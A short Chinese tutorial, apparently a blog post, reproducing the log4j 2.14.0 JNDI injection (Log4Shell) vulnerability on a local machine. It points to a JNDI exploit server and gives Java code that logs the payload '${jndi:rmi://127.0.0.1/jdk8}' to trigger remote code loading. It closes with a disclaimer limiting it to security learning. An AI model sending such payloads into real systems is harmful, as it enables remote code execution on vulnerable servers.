一、本地搭建JNDI注入服务(参考 https://github.com/welk1n/JNDI-Injection-Exploit.git),并启动
此类为1.8版本的需要远程执行的代码模块,可自定义
二、 创建maven项目引入log4j(2.14.0)
编写bug的入侵代码
public class Main {
/**
* 日志记录器
*/
private static final Logger LOGGER = LogManager.getLogger();
public static String bugStr1 = "${java:os}";
public static String bugStr2 = "${java:vm}";
public static String bugStr3 = "${jndi:rmi://127.0.0.1/jdk8}";
public static void main(String[] args) throws Exception {
/*InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/jdk8");*/
LOGGER.error("Test log4j:{}", bugStr1);
LOGGER.error("Test log4j:{}", bugStr2);
LOGGER.error("Test log4j:{}", bugStr3);
System.out.println("done");
}
}
参考原理:
https://github.com/welk1n/JNDI-Injection-Exploit.git
https://github.com/mbechler/marshalsec.git
https://github.com/apache/logging-log4j2.git
源码地址:
log4j远程漏洞复现源码.rar-网络攻防文档类资源-CSDN下载
-仅用于网络安全防护学习使用,遵纪守法,且不可顶风作案 @v@